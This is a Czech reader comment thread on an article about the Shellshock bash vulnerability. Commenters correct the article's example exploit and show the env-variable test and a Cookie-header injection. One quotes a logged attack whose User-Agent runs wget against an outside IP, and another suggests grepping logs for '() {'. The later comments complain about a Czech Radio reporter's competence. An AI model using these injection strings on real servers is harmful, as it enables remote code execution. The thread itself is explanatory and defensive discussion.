Ten příklad zneužití shellshocku je imho matoucí - takhle, jak je, vypíše "jsem shellsokovan" prostě proto, že jsem bashi řekl, aby to vypsal, to není žádné zneužití.
Když už takhle, tak by to muselo být
env x=’() { :;}; echo jsem shellsokovan’ bash -c “echo ahoj”
ale lepší by byl reálný příklad, když už byla řeč o hlavičkách:
...http...
Cookie:() { :; }; echo "jsem shellsokovan"
...
A jeste jedna drobnost: Webové stránky [...] jQuery.com *byli* napadeny.
Jsou to jenom drobnosti, jinak díky za článek.
Dobry den,
dekuji za reakci. Nadefinovani funkce, ktera je vzdy platna je jedna vec, ale to ze se provede i prikaz mimo tuto funkci (za ni) je ten hlavni problem.
Ale mate pravdu, mohl jsem pouzit neco mnohem nazornejsiho jako:
() { echo "Jsem uvnitr" ; }; echo "A ted uz jsem venku"
Napisu redaktorum, aby clanek upravili.
Dekuji
Mnohem efektivnější je grepovat logy na výskyt sekvence () {
, která musí vždy vypadat takto. Ale stejně takovým způsobem odhalíte jen Script Kiddies, které byly tak hloupé, že exploit umístily do hlavičky User-Agent, která se loguje.
Přesto se něco zajímavého najde. Tohle dítě se třeba ani neobtěžovalo s nastudováním HTTP protokolu a tak metodou GET požaduje celou filesystémovou cestu :)
[29/Sep/2014:02:12:28 +0200] "GET /var/www/cgi-bin/test-cgi HTTP/1.1" 404 345 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""
Dobry den,
funkci lze v bashi definovat i bez zavorek http://tldp.org/LDP/abs/html/functions.html
Jak jsem psal, jedna se o "nejpopularnejsi" retezec. Je jasne, ze to neodhali vse.
Dekuji za reakci
Mýlíte se. Když se vrátíme na začátek, tak podstata exploitu je v tom, že někdo do prostředí podstrčí proměnnou, jejíž obsah začíná na dvě kulaté závorky. V případě zneužití CGI to znamená odeslání HTTP hlavičky, jejíž obsah začíná na dvě kulaté závorky. Bez těch dvou kulatých závorek to prostě nejde. Více najdete v pátečním článku.
Samozřejmě, pokud nelogujete všechny HTTP hlavičky všech požadavků, dostanou se vám do logu jen takové požadavky, které používají speciálně upravené jméno v hlavičce User-Agent
.
Ano, funguje. ale tohle není žádný exploit, jednoduše jste napsal skript, co nadefinuje funkci a následně spustí jiný příkaz.
Asi se budu opakovat, ale podstata exploitu je v tom, že speciální proměnnou prostředí donutíte bash aby spustil to, co mu v té proměnné prostředí určíte. A v takovém případě ta proměnná prostě musí začínat na dvě kulaté závorky, jinak ji bash vezme jako obyčejnou proměnnou a ne jako import funkce.
Jestli chcete opravdu lidem vysvetlit, o co jde, ukazte jim tohle: https://isc.sans.edu/diary/Webcast+Briefing%3A+Bash+Code+Injection+Vulnerability/18709
8-o 8-o 8-O
Autor: Ondřej Bouda (obo):
Co dělám v rozhlase:
Redaktora zahraniční redakce. To znamená, že cestuji po světě všude tam, kde se něco děje, abych o tom mohl informovat posluchače.
Před rozhlasem:
Po škole jsem sbíral novinářské zkušenosti po různých českých i cizojazyčných periodikách.
Hmmmmm ....
To by nevadilo, to ma fakt kazdej. Jenze ja o tom CRo napsal a ukazalo se, ze problem ma trochu hlubsi koreny. V CRo se odbornou kvalitou zpravodajstvi nikdo nezabyva a pokud poslete pripominku ve ktere uvedete, ze by snad bylo lepsi kdyby clanky na odborna temata nepsali redaktori, kteri se v dane problematice evidentne naprosto neorientuji, tak na to zareaguji tak, ze to predaji primo tomu redaktorovi.
Jenze ten si mysli, ze tomu rozumi, nebo si mysli, ze odborny clanky lze psat i kdyz veci nerozumite - jinak by preci ten clanek vubec nenapsal.
No, a podle toho dopadla redaktorova odpoved. Oznacil se za rodileho mluvciho odmitnul, ze by na prekladu mohlo byt neco spatne. Zrejme vubec netusi, ze existuje neco jako ustalena terminologie, bez ktere je preklad odborneho clanku naprosto nesrozumitelny.
A to uz neni o ojedinelem "bilem miste". Tenhle clovek je v odhadu svych schopnosti natolik mimo, ze neni schopen rozpoznat ani to, ze necemu nerozumi. A natolik nesebekriticky, ze takovou informaci neni ochoten prijmout ani od nekoho jineho.
A zrejme nas bude zasobovat podobnymi clanky i v budoucnosti. Jenze u tech, ktery nebudou z oboru, kterymu rozumime mozna nepozname, ze je to pouhy gramaticky korektne prelozeny blabol.
A CRo to, podle vseho, nevadi - ten potrebuje zaplnit zpravodajstvi informacemi, a jake jsou a odkud se berou je vedlejsi - hlavne, kdyz nekdo neco rika (pise).
Mohlo by mi to bejt fuk kdyby me zakon nenutil jim na provoz tohohle paskvilu prispivat petactyriceti korunami. S timhle pristupem k poskytovani informaci by verejnosti nejvic prospeli kdyby svuj provoz zrusili - senzacechtivy blaboly muzu kazdej vecer sledovat na Nove - a zadarmo.